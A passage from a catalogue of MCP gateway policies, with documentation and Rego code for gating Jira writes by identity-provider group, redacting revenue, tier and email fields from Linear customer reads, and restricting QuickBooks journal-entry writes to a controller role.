default. A prompt-injected agent operating as an ordinary read-only user cannot create, edit, transition, comment on, log work against, or link any issue — in any project — because it is not in the writer group. (Community servers ship additional write tools outside these six operation classes; those are intentionally out of this baseline's scope — see Known limitations.) The check runs at ingress, before the call reaches the Jira MCP server, so a denied write never executes and has no side effects. ## Compliance alignment This policy instantiates least-privilege write-gating (family PF-12) on Jira's write path, and supports alignment with: - **SOC 2 CC6.1** — supports logical access security over protected assets: Jira issues cannot be mutated over the agent channel without an explicit role grant. **CC6.3** — supports role-based access and least privilege: write capability is tied to a live IdP group, so removing the group in the IdP removes write access on the caller's next request. - **HIPAA §164.308(a)(4)** — supports information access management for Jira tenants that track PHI-adjacent work: write authorization is role-scoped. **§164.312(a)(1)** — supports technical access control with per-call identity taken from the caller's JWT. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: the default posture is read-only. **Art. 29 / Art. 32(4)** — supports processing only on the controller's instructions: an unauthorized principal cannot alter personal data held in Jira through the agent. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `atlassian-jira-mcp-createjiraissue`), and that prefix is not standardized. All matching is therefore **case-insensitive and by suffix** on `lower(input.resource.name)`, covering both Jira MCP dialects at once: | Operation | Official Rovo suffix (camelCase, lowercased) | Community suffix (snake_case) | |---|---|---| | Create issue | `createjiraissue` | `jira_create_issue` | | Edit / update issue | `editjiraissue` | `jira_update_issue` | | Transition issue | `transitionjiraissue` | `jira_transition_issue` | | Comment on issue | `addcommenttojiraissue` | `jira_add_comment` | | Log work | `addworklogtojiraissue` | `jira_add_worklog` | | Create issue link | `createissuelink` | `jira_create_issue_link` | These six operations are the **complete `write_jira` tool group** of the official Atlassian Rovo server (which ships no delete tools at all), plus the community `sooperset/mcp-atlassian` equivalents of the same operations. Three community-only tools are also gated because they are variants of the same operation classes — leaving any of them open would let a non-writer perform a gated operation under a different name: - `jira_batch_create_issues` — issue creation in bulk; - `jira_edit_comment` — rewrites an existing comment (the comment surface the single-op suffixes gate); - `jira_link_to_epic` — links an issue to an epic (the linking surface the issue-link suffixes gate). Read and search tools carry none of these suffixes and pass. The tool name is taken from the PARC field `input.resource.name`, falling back to the legacy alias `input.payload.name` when the PARC field is missing, null, or not a string — so a degenerate tool hook cannot present a write as a read. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `write_suffixes` in `policy.md` if your server exposes a write tool under a different name. ## Argument shape The decision uses only the tool name (`input.resource.name`, with a legacy `input.payload.name` fallback) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so the policy cannot be bypassed by unusual argument keys, nesting, or encodings — and it behaves identically whether or not a tool's argument schema is documented. ## Identity Group membership is read fail-closed via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])`: a missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not a writer", and every write is denied. The `is_array` guard is load-bearing — `some group in caller_groups` iterates the *values* of an object, so a `groups` claim shaped as `{"role": "jira-writers"}` would otherwise match and fail **open**; requiring an array keeps every non-array shape (object, string, number) fail-closed. Reads are unaffected by identity. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-getjiraissue", "type": "tool" }, "payload": { "name": "atlassian-getjiraissue", "args": { "issueIdOrKey": "DEV-7" } } } } ``` `allow = true`, no reason. ### Allowed — write tool, caller in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createjiraissue", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["jira-writers"] } }, "payload": { "name": "atlassian-createjiraissue", "args": { "projectKey": "DEV", "summary": "New task" } } } } ``` `allow = true`, no reason. ### Denied — write tool, caller not in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-editjiraissue", "type": "tool" }, "subject": { "sub": "auth0|bob", "claims": { "groups": ["engineering"] } }, "payload": { "name": "atlassian-editjiraissue", "args": { "issueIdOrKey": "DEV-7", "fields": { "summary": "changed" } } } } } ``` `allow = false`, `reason = "Jira write tools are restricted to members of the 'jira-writers' group ..."`. ## Composition This policy is the Jira least-privilege baseline; it gates *who* may write, not *what* they may write. Useful companions in the same [`atlassian`](../../../bundles/atlassian/README.md) bundle: - [`deny-write-sensitive-projects`](../deny-write-sensitive-projects/policy.md) — even for authorized writers, keeps designated projects (HR, LEGAL, SEC) unwritable. - [`deny-view-search-sensitive-projects`](../deny-view-search-sensitive-projects/policy.md) — read/search fence for the same projects (this policy leaves reads open). - [`redact-sensitive-info`](../redact-sensitive-info/policy.md) — egress redaction of PII/secrets in returned issue content. ## Known limitations - **Group names are placeholders** — replace `jira-writers` with your IdP's group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits roles under a different or namespaced claim (e.g. `https://acme.com/groups` or `roles`), update `caller_groups` in `policy.md`. - **Reads are open to everyone.** `searchJiraIssuesUsingJql` and `getJiraIssue` (especially with `fields:["*all"]`) remain a broad egress channel — a read-only agent can still trawl issues across projects the user can see. Pair with a read/search fence (`deny-view-search-sensitive-projects`) and/or egress redaction if your Jira tenant holds regulated content. - **Closed write set — community write tools outside the gated operation classes are not gated.** The suffix list is the complete official Rovo `write_jira` group, its community equivalents, and the three community-only variants of the same operation classes (`jira_batch_create_issues`, `jira_edit_comment`, `jira_link_to_epic`). The community `sooperset/mcp-atlassian` server ships *additional* write and destructive tools that carry none of the gated suffixes and therefore pass as "reads": e.g. `jira_delete_issue`, `jira_remove_issue_link`, `jira_add_watcher`, `jira_create_remote_issue_link` (attaches an external URL, a different operation from the gated issue-to-issue `createissuelink`), `jira_update_proforma_form_answers` (updates issue-attached ProForma form answers — issue-adjacent data this baseline does not treat as an issue edit), and the sprint/version tools. This is intentional scope for the baseline; gate those with the destructive-op / sensitive-project companions, or add their suffixes to `write_suffixes`. The `jira_delete_issue`, `jira_create_remote_issue_link`, and `jira_update_proforma_form_answers` residuals are each covered by a documenting test case. - **Official non-`write_jira` write groups are not gated.** The official Rovo server also exposes write tools in permission groups outside `write_jira` — JSM Ops (e.g. `updateJsmOpsAlert`) and Compass (e.g. `createCompassComponent`); the landscape note lists these groups for completeness and notes JSM/Bitbucket tools run in API-token mode. They are not issue writes and are outside this baseline's scope, but if your tenant exposes them, gate them separately or extend `write_suffixes`. Covered by a documenting test case (`updatejsmopsalert` passes). - **Confluence is out of scope.** This is a Jira-only policy. Confluence writes (`createConfluencePage`, `updateConfluencePage`, comments) are handled by the separate `confluence` app policies. - **`groups`-claim spoofing is out of the gateway's hands.** The policy trusts the IdP-asserted `groups` claim; if a caller can mint tokens with arbitrary claims, that is an IdP/JWT-validation problem, not a policy one. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package jira.ingress.role_gate_writes # Deny-by-default: reads are explicitly allowed below; every write requires # membership in the writer group. default allow := false # Placeholder IdP group permitted to perform Jira writes. # Replace "jira-writers" with your IdP's group name at import time. writer_group := "jira-writers" # Lowercased tool name. The gateway prefixes tool names with the configured MCP # server name (e.g. `atlassian-jira-mcp-createjiraissue`), so matching below is # case-insensitive and suffix-based to stay portable across naming conventions. # # PARC-first with a legacy fallback (red-team hardening): `resource.name` is the # unified PARC field, but if a tool hook ever arrived with it missing, null, or # non-string while the legacy alias `payload.name` still identified the tool, # the write would otherwise look like a read and fail OPEN. The fallback keeps # the gate on the legacy alias too. If neither field names the tool, there is no # tool name to gate on and the non-write branch applies. resource_name := object.get(object.get(input, "resource", {}), "name", "") payload_name := object.get(object.get(input, "payload", {}), "name", "") has_resource_name if { is_string(resource_name) resource_name != "" } tool_name := lower(resource_name) if { has_resource_name } tool_name := lower(payload_name) if { not has_resource_name is_string(payload_name) } # --- Write-tool detection --- # The complete official Atlassian Rovo `write_jira` group (camelCase names, # lowercased) plus the community sooperset/mcp-atlassian equivalents of the same # six operations, plus the community-only variants of those same operation # classes (batch create, comment rewrite, epic linking). Matched by suffix so # any gateway server-name prefix still matches. endswith is exact at the tail, # so read tools whose names merely contain "jiraissue" (getJiraIssue, # getTransitionsForJiraIssue, getJiraIssueRemoteIssueLinks, ...) do not match # any of these full suffixes. write_suffixes := [ # create issue "createjiraissue", # official Rovo "jira_create_issue", # community "jira_batch_create_issues", # community batch-create — same create operation in bulk # edit / update issue "editjiraissue", # official Rovo "jira_update_issue", # community # transition issue "transitionjiraissue", # official Rovo "jira_transition_issue", # community # comment on issue "addcommenttojiraissue", # official Rovo "jira_add_comment", # community "jira_edit_comment", # community — rewrites an existing comment; same comment surface # log work "addworklogtojiraissue", # official Rovo "jira_add_worklog", # community # create issue link "createissuelink", # official Rovo "jira_create_issue_link", # community "jira_link_to_epic", # community — links an issue to an epic; same linking surface ] is_write_tool if { some suffix in write_suffixes endswith(tool_name, suffix) } # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim that # is not an array all yield "not a writer" — writes then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # The is_array guard is load-bearing: `some group in caller_groups` iterates the # *values* of an object, so a groups claim shaped as {"role": "jira-writers"} # would otherwise match and fail OPEN. Requiring an array keeps every non-array # shape (object, string, number) fail-closed, as the Identity section promises. caller_is_writer if { is_array(caller_groups) some group in caller_groups group == writer_group } # --- Decision --- # Reads (and anything that is not one of the six gated write tools) pass for # everyone. allow if { not is_write_tool } # Writes pass only for members of the writer group. allow if { is_write_tool caller_is_writer } reasons contains msg if { is_write_tool not caller_is_writer msg := sprintf("Jira write tools are restricted to members of the '%s' group — this account has read-only Jira access through the gateway. Ask your identity admin to add you to '%s', or hand this write (create, edit, transition, comment, worklog, or issue link) to a teammate with Jira write access. If this tool is actually read-only, contact your InfoSec team to update the policy.", [writer_group, writer_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Linear: Redact Customer Revenue and Contacts URL: https://www.intentbasedpolicy.com/policies/linear/redact-customer-pii-egress App(s): linear | Direction: egress | Bundles: gdpr-ccpa, soc2 | Package: linear.egress.redact_customer_data | Published: 2026-07-12 | Tags: linear, redact-pii, pii, dlp, redaction, egress, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/linear/redact-customer-pii-egress/policy.md # linear / redact-customer-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never blocks the read) **Package:** `linear.egress.redact_customer_data` ## What it does Masks commercial and contact identifiers in the **responses** of Linear's Customers read tools before they reach the agent. On responses from `*getCustomers`, `*getCustomerNeeds`, and `*getCustomerTiers` the policy rewrites three field classes to fixed redaction tokens and leaves the rest of the record — customer name, need text, IDs, timestamps — intact: | Field class | Matched JSON key | Token | |---|---|---| | Revenue (any key containing `revenue`, e.g. `revenue`, `annualRevenue`) | string, object (up to one level of nesting), or numeric value | `[REDACTED-REVENUE]` | | Tier / segment (any key containing `tier`, e.g. `tier`, `customerTier`, `tierName`) | string, object (up to one level of nesting), or numeric value | `[REDACTED-TIER]` | | Contact email (any key containing `email`, e.g. `email`, `contactEmail`) | string value | `[REDACTED-EMAIL]` | A generic email-address sweep also runs over the response text, so a contact email embedded in prose (e.g. a customer need that reads "follow up with buyer@bigco.com") is masked even when it is not under an `email` key. Linear's Customers feature links customer records, needs, tiers, and revenue to issues, so an unfiltered read egresses commercial financial data (deal-size / ARR) and contact PII (external buyer email addresses). This policy targets that linkable set while keeping the record usable: the agent can still reason over **customer names and needs** without seeing revenue, tier, or contact emails. The policy is transform-only (`default allow := true`): it never denies a call, so a legitimate customer lookup still succeeds — it just comes back with those fields masked and the record structure intact. Responses with no matches, and all out-of-scope tools, pass through byte-identical. Every field is read via `object.get` chains, so a missing or oddly-shaped payload is never an error — it simply passes through. ## Why egress and not ingress The revenue, tier, and contact data live in the **response**, not the request: a customer-read tool's arguments (a customer ID, a filter, a page cursor) don't reveal ARR or buyer emails — only the returned records do. Ingress can't see what a read will surface, so redaction has to happen on the way back. The read itself is harmless and is allowed to proceed. Gating *which* customer tools can be called at all is a separate concern for a companion ingress policy. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking commercial and contact identifiers in Linear customer reads as they leave the gateway toward the agent (PF-02). **C1.1 / P4.1 / P6.1** — supports identifying and protecting confidential information, limiting personal-information use to identified purposes (the agent gets working records without the identifiers it doesn't need), and constraining personal-information disclosure to third parties (here, the agent) — all Partial on the MCP path. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of customer personal data: the record comes back without the contact identifiers not needed for the task. **Art. 5(1)(f) / Art. 32** — supports security of processing on the agent channel. - **CCPA/CPRA §1798.121** — supports the consumer right to limit use of sensitive personal information by keeping contact identifiers out of agent context; **§1798.150** — reduces nonredacted-PI breach exposure if agent context or downstream logs are later compromised. ## Tool name matching Applies on the output path to the Customers read channels, matched case-insensitively **by suffix** across three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — so a gateway that populates a different surface can't slip a read past the scanner. Suffix matching keeps the policy portable across the gateway server-name prefix, which is not standardised. - `*getCustomers` — customer records (name, revenue, tier, contacts) - `*getCustomerNeeds` — customer needs linked to issues - `*getCustomerTiers` — customer tier definitions These three names are **verified** from the tacticlaunch/mcp-linear [TOOLS.md](https://github.com/tacticlaunch/mcp-linear/blob/main/TOOLS.md) community inventory (`linear_` + camelCase). The **official** Linear remote server also reads customer data per third-party catalogs, but its exact customer-read tool names are **unverified** in the landscape note — see Known limitations. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Linear MCP tools return serialized JSON in those blocks, so the field rewrites use key-anchored patterns (`"revenue": …`, `"...tier...": …`, `"email": …`) that replace only the value and keep the surrounding JSON valid and parseable. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope customer read) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "linear-mcp-linear_getCustomers", "type": "tool" }, "payload": { "name": "linear-mcp-linear_getCustomers", "text": ["{\"id\":\"cus_1\",\"name\":\"Acme Corp\",\"revenue\":1500000,\"tier\":\"Enterprise\",\"contacts\":[{\"name\":\"Jane Roe\",\"email\":\"jane@acme.com\"}]}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"id\":\"cus_1\",\"name\":\"Acme Corp\",\"revenue\":\"[REDACTED-REVENUE]\",\"tier\":\"[REDACTED-TIER]\",\"contacts\":[{\"name\":\"Jane Roe\",\"email\":\"[REDACTED-EMAIL]\"}]}"]`. Customer and contact **names** survive; revenue, tier, and email are masked. ### Passed through (out-of-scope tool) A `linear_getIssues` / `linear_getProjects` response does not end in a Customers-read suffix, so `transform` is undefined and the aggregator skips this policy for that call. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same pipeline. Recommended companions for `apps/linear`: - A **roadmap/initiative egress gate** for pre-announcement product data. - A **membership + impersonation deny** on the write path. - A **default-deny-unknown-tools** ingress guard to catch drift as Linear's customer toolset expands. Egress transforms attached to the same direction compose in pipeline order. ## Known limitations - **No identity exemption — all callers get the redacted view.** This policy does not gate redaction on IdP group: every caller sees revenue, tier, and contact emails masked. If an authorized group (e.g. `sales-ops`) needs the raw values, add a `not is_exempt` guard to the `transform` rule that reads `input.subject.claims.groups` via `object.get` chains (see the Stripe/Docusign redact policies for the fail-closed pattern) — never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`). - **Field key names are documented, not schema-verified.** The tokens key on JSON keys *containing* `revenue`, `tier`, or `email` (case-insensitively). Those key names are documented in the landscape note, not confirmed against a live customer-read schema. Confirm the actual keys your deployment returns with a captured response (dump-input technique) and extend the patterns if Linear names them differently (e.g. `arr`, `mrr`, `segment`, `contact_email` is covered; `arr`/`mrr`/`segment` are **not**). - **Official-server tool names are unverified.** Only the three tacticlaunch names (`getCustomers`, `getCustomerNeeds`, `getCustomerTiers`) are verified. The official Linear remote server reads customer data too, but its exact tool names are unverified in the landscape note and are therefore **not** in scope. Pin them into `customer_read_suffixes` once confirmed via a live `tools/list`. - **Deeply nested and array-valued revenue/tier are residuals.** The revenue and tier object branches mask an object value including **one level** of nested braces (e.g. `"revenue":{"amount":{"value":…}}` and `"tier":{"meta":{…}}` are masked whole — red-team hardening, 2026-07). Two residuals remain and pass through unredacted: (a) an object nested **two or more** levels deep (`"revenue":{"a":{"b":{"c":…}}}`), and (b) a value expressed as a JSON **array** (`"tier":["Enterprise"]`, `"revenue":[…]`), because the object pattern matches braces, not brackets. Both shapes are unusual for a money/tier field; extend the patterns if your response nests that deeply or arrays these fields. Contact emails inside such structures are still caught by the generic email sweep; only revenue/tier numbers leak. - **Over-redaction is possible and safe.** Any key containing `revenue` / `tier` / `email` is masked, so a benign `revenueNote` or `tierId` is masked too. On egress this is over-redaction, never disclosure. - **Key-anchored patterns assume serialized-JSON response shape.** A value under a differently-worded key, or PII in reformatted prose, is only caught for **email** (via the generic email sweep). Revenue/tier in free prose is not matched. Non-string content blocks pass through unmodified — verify their shape with the dump-input technique if your gateway emits structured blocks. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package linear.egress.redact_customer_data # Transform-only egress policy: masks customer revenue, tier/segment, and # contact email in the responses of Linear's Customers read tools # (getCustomers, getCustomerNeeds, getCustomerTiers) before the response reaches # the agent. Never denies — a legitimate customer lookup still succeeds, just # with those fields masked and the record structure (IDs, names, need text) # intact. No identity exemption: every caller receives the redacted view. default allow := true # ----------------------------------------------------------------------------- # Egress scope. Match the post-invoke/output path on EITHER mode or action. If # we keyed on input.mode alone and a gateway build left it unset, the scope # check would silently fail and redaction would no-op (fail open, leaking # revenue/PII). Ingress (tool_pre_invoke / mode "input") satisfies neither # branch. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three (lower-cased) and match if ANY carries a Customers-read suffix, so a # gateway that populates a different surface can't slip a read past the scanner. # object.get chains keep a missing surface from failing the rule. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # Customers read channels. Verified from tacticlaunch/mcp-linear TOOLS.md # (linear_ + camelCase). The gateway prepends its configured server-name prefix, # so we match by suffix, case-insensitively. The official Linear server's # customer-read tool names are unverified (landscape note) and are NOT pinned # here — add them once confirmed via a live tools/list. customer_read_suffixes := { "getcustomers", "getcustomerneeds", "getcustomertiers", } is_customer_read_tool if { is_egress some suffix in customer_read_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Redaction steps. Linear MCP tools return serialized JSON in the response # content blocks, so the field rewrites are anchored to JSON keys and replace # only the value (the ${1} capture keeps the key), leaving the surrounding JSON # valid and parseable. Each step is total over strings: it returns its input # unchanged when its pattern doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- # `"...revenue...": ` — any key containing `revenue` (case-insensitive, # so `annualRevenue`/`revenue`/`annual-revenue` are covered; the key char class # allows `_` and `-`). Masks an object value first (a `{amount,currency,…}` money # object is replaced whole — otherwise the inner amount would leak). The object # pattern tolerates ONE level of nested braces (`{"amount":{"value":…}}`), so a # nested money object is caught too; objects nested two or more levels deep are a # documented residual. Then a quoted-string value, then a bare numeric value # including an optional exponent (`1.5e6`) so the whole number is consumed and the # surrounding JSON stays valid. null carries no data and is left alone. redact_revenue(t) := out if { o := regex.replace(t, `(?i)("[a-z0-9_-]*revenue[a-z0-9_-]*"\s*:\s*)\{(?:[^{}]|\{[^{}]*\})*\}`, `${1}"[REDACTED-REVENUE]"`) s := regex.replace(o, `(?i)("[a-z0-9_-]*revenue[a-z0-9_-]*"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-REVENUE]"`) out := regex.replace(s, `(?i)("[a-z0-9_-]*revenue[a-z0-9_-]*"\s*:\s*)-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?`, `${1}"[REDACTED-REVENUE]"`) } # `"...tier...": ` — any key containing `tier` (case-insensitive, so # `customerTier`/`tierName`/`customer-tier` are covered; the key char class allows # `_` and `-`, matching the revenue/email branches). Masks an object value first # (so a `{name,level,...}` tier object is replaced whole), tolerating ONE level of # nested braces like the revenue branch, then a quoted string, then a bare number. # A tier object nested two or more levels deep is a documented residual. redact_tier(t) := out if { o := regex.replace(t, `(?i)("[a-z0-9_-]*tier[a-z0-9_-]*"\s*:\s*)\{(?:[^{}]|\{[^{}]*\})*\}`, `${1}"[REDACTED-TIER]"`) s := regex.replace(o, `(?i)("[a-z0-9_-]*tier[a-z0-9_-]*"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-TIER]"`) out := regex.replace(s, `(?i)("[a-z0-9_-]*tier[a-z0-9_-]*"\s*:\s*)-?\d+(?:\.\d+)?`, `${1}"[REDACTED-TIER]"`) } # `"...email...": "..."` — any key containing `email` (case-insensitive, so # `contactEmail`/`email`/`contact-email` are covered; the key char class allows # `_` and `-`). String value only; other email-bearing text is caught by the # generic sweep below. redact_email_field(t) := regex.replace( t, `(?i)("[a-z0-9_-]*email[a-z0-9_-]*"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-EMAIL]"`, ) # Bare email addresses anywhere in the text (word-boundary anchored: local part, # "@", domain, TLD of at least two letters) — catches contact emails embedded in # prose (e.g. a customer-need description string) outside an "email" key. redact_email_text(t) := regex.replace( t, `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b`, "[REDACTED-EMAIL]", ) # Order: the key-anchored field rewrites first (their tokens contain no "@", # braces, or quoted digits, so no later step can re-match an emitted token), # then the generic email sweep over whatever text remains. redact_block(b) := redact_email_text( redact_email_field(redact_tier(redact_revenue(b))), ) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope and at least one block actually # changed. Otherwise the rule is undefined and the aggregator skips this policy, # returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_customer_read_tool is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Lock Direct Journal-Entry Ledger Writes URL: https://www.intentbasedpolicy.com/policies/quickbooks/protect-closed-periods-journal-entries App(s): quickbooks | Direction: ingress | Bundles: sox | Package: quickbooks.ingress.protect_closed_periods_journal_entries | Published: 2026-07-12 | Tags: quickbooks, protect-closed-periods, ingress, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/protect-closed-periods-journal-entries/policy.md # quickbooks / protect-closed-periods-journal-entries **Direction:** ingress (`tool_pre_invoke`) **Default:** deny direct journal-entry writes unless the caller is in the `controller` group; allow everything else **Package:** `quickbooks.ingress.protect_closed_periods_journal_entries` ## What it does Denies the QuickBooks Online tools `create_journal_entry` and `update_journal_entry` at ingress for **every** caller except those whose IdP claims include the `controller` group. It also denies the archived `hvkshetry` mega-tools `transaction` and `reference` when their `operation` argument is `create` or `update` against a journal-entry `entity_type`. All other create/update tools, all reads, and all deletes pass through unchanged. A direct journal entry restates the general ledger without flowing through a normal transaction workflow (invoice, bill, payment, etc.). It is the single write external auditors scrutinize first and the classic vector for period-end manipulation — a manual debit/credit that moves numbers between accounts with no operational document behind it. Because the check runs at ingress, a blocked entry never reaches QuickBooks and never posts to the ledger, so an over-broad OAuth grant, an agent error, or a prompt-injection attempt cannot restate the books on behalf of a caller who is not a controller. Separating who may post a manual journal entry from everyone else is core segregation-of-duties (SoD) territory: the caller's IdP group, not the breadth of their QuickBooks role, decides whether a direct ledger restatement is permitted over MCP. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519 (anti-destruction/alteration of records)** — supports the prohibition on altering financial records by blocking agent-driven manual journal entries — the most direct ledger-alteration surface — for everyone outside the controller role. - **SOC 2 PI1.5 (integrity of stored records)** — supports processing integrity by keeping the agent channel from restating posted ledger balances through direct journal entries. - Reinforces the **segregation-of-duties** posture behind **SOX COSO Principle 10** and **SOC 2 CC6.3** (role-based access / least privilege / SoD): manual journal entries — the write most associated with period-end manipulation — are confined to a named controller role rather than every OAuth-connected user. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `qbo-mcp-create_journal_entry`), and that prefix is not standardized, so all matching is on the `_journal_entry` **entity suffix** of `lower(input.resource.name)`: - `*create_journal_entry` — Intuit official server (snake_case `verb_entity`) and the LibreChat raw-QBO build (same `verb_entity` tool names, PascalCase *arguments*). The Intuit-published Claude connector's tool names are **unverified** (not published on the connector page — see the landscape note); given Intuit's OSS server they are expected to use the same vocabulary, but confirm with the dump-input debug technique before relying on this in production. - `*update_journal_entry` — the matching update tool on the same servers. The entity suffix is matched together with the `create`/`update` verb, so `delete_journal_entry` (a destructive op — see **Composition**, PF-06) and the read tools `get_journal_entry` / `search_journal_entries` are deliberately **not** caught by this policy. For the archived `hvkshetry/quickbooks-mcp` server, which collapses the API into six mega-tools with an `operation` argument, the policy matches tool names ending in `transaction` or `reference` and denies only when the request is a journal-entry create/update (see Argument shape). ## Argument shape - **Direct tools** (`create_journal_entry` / `update_journal_entry`) — the policy keys only on the tool name; it does not inspect the entry's line items. Denying the whole tool is the intended behavior. - **Mega-tools** (`transaction` / `reference`) — the verb lives in an argument, not the tool name. The policy reads `operation` and `entity_type` from `input.payload.args`, matching case-insensitively: both the `operation` and `entity_type` values are normalized (stringified, lowercased, and with **every non-alphanumeric character** stripped — not merely spaces/underscores/hyphens). The `operation` is caught when its normalized form contains the `create` or `update` token, and the `entity_type` when its normalized form contains `journalentry`, so `JournalEntry`, `journal_entry`, `journal entry`, and even a punctuated `Journal.Entry` all match. Substring — not exact — matching is deliberate: it keeps a value smuggled as a wrapped or decorated shape (e.g. `entity_type: ["JournalEntry"]`, which normalizes to `journalentry`, or `operation: ["create"]`) from slipping past the gate, while non-journal-entry entities and non-write operations (delete/void/deactivate) contain neither token and pass through. The argument container is also read from `input.payload.arguments` and merged, so the gate works whichever key the gateway populates; each is coerced to `{}` when a gateway supplies a scalar, so a non-object container can neither fail the merge open nor evade the gate. A mega-tool call with no readable `operation`, a non-create/update `operation`, or a non-journal-entry `entity_type` is **not** a direct journal-entry restatement and passes through this policy (a `delete`/`void` operation is out of scope here — see PF-06 under Composition). ## Identity The controller gate reads `claims := object.get(input.subject, "claims", {})` through `object.get` chains, so a missing subject, missing `claims`, or empty `groups` deterministically **fails closed**: no `controller` group → the caller is not exempt → the journal-entry write is denied. Group membership is compared case-insensitively and requires the exact group name `controller`; near-misses such as `controllers` or `financial-controller` do not match. ## Examples ### Allowed — controller posts a journal entry ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-create_journal_entry", "type": "tool" }, "subject": { "claims": { "groups": ["controller"] } }, "payload": { "name": "qbo-mcp-create_journal_entry", "args": { "line_items": [{ "amount": 500, "detail_type": "JournalEntryLineDetail" }] } } } } ``` `allow = true`, no reason. ### Allowed — a non-journal-entry create tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-create_invoice", "type": "tool" }, "subject": { "claims": { "groups": ["ap"] } }, "payload": { "name": "qbo-mcp-create_invoice", "args": { "customer_ref": "12" } } } } ``` `allow = true` — creating an invoice is outside this policy's scope. ### Denied — non-controller creates a journal entry ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-create_journal_entry", "type": "tool" }, "subject": { "claims": { "groups": ["ap"] } }, "payload": { "name": "qbo-mcp-create_journal_entry", "args": { "line_items": [{ "amount": 999999 }] } } } } ``` `allow = false`, `reason = "Direct journal-entry writes to the QuickBooks general ledger are restricted to the controller role. ..."`. ### Denied — mega-tool journal-entry create by a non-controller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "qbo-mcp-transaction", "type": "tool" }, "subject": { "claims": { "groups": ["ap"] } }, "payload": { "name": "qbo-mcp-transaction", "args": { "operation": "create", "entity_type": "JournalEntry" } } } } ``` `allow = false`, same reason. ## Composition This policy is single-purpose (lock the manual journal-entry surface). Useful companions for QuickBooks: - **`freeze-destructive-ops`** (PF-06) — deny `delete_*` (QBO transaction deletes are hard deletes) and mega-tool `delete`/`void` operations, which this policy deliberately leaves alone. - **`role-gate-writes`** (PF-12) — read-only-by-default per app; gate the remaining `create_*`/`update_*` tools (invoice, bill, payment, etc.) that are out of scope here. - **`gate-money-movement`** (PF-09) — cap/deny `create_payment`, `create_bill_payment`, `create_transfer`, `create_refund_receipt`. - **`guard-vendor-banking`** (PF-10) — deny vendor bank/payment-detail mutations (anti-BEC). - **`default-deny-unknown-tools`** (PF-28) — for the Intuit connector, whose exact tool names are unverified, and for any future upstream tool drift. ## Known limitations - **No period-state check — this locks the journal-entry *tool*, not a *closed period*.** Editing posted transactions inside an accounting-closed period cannot be detected from tool arguments: no MCP implementation surveyed 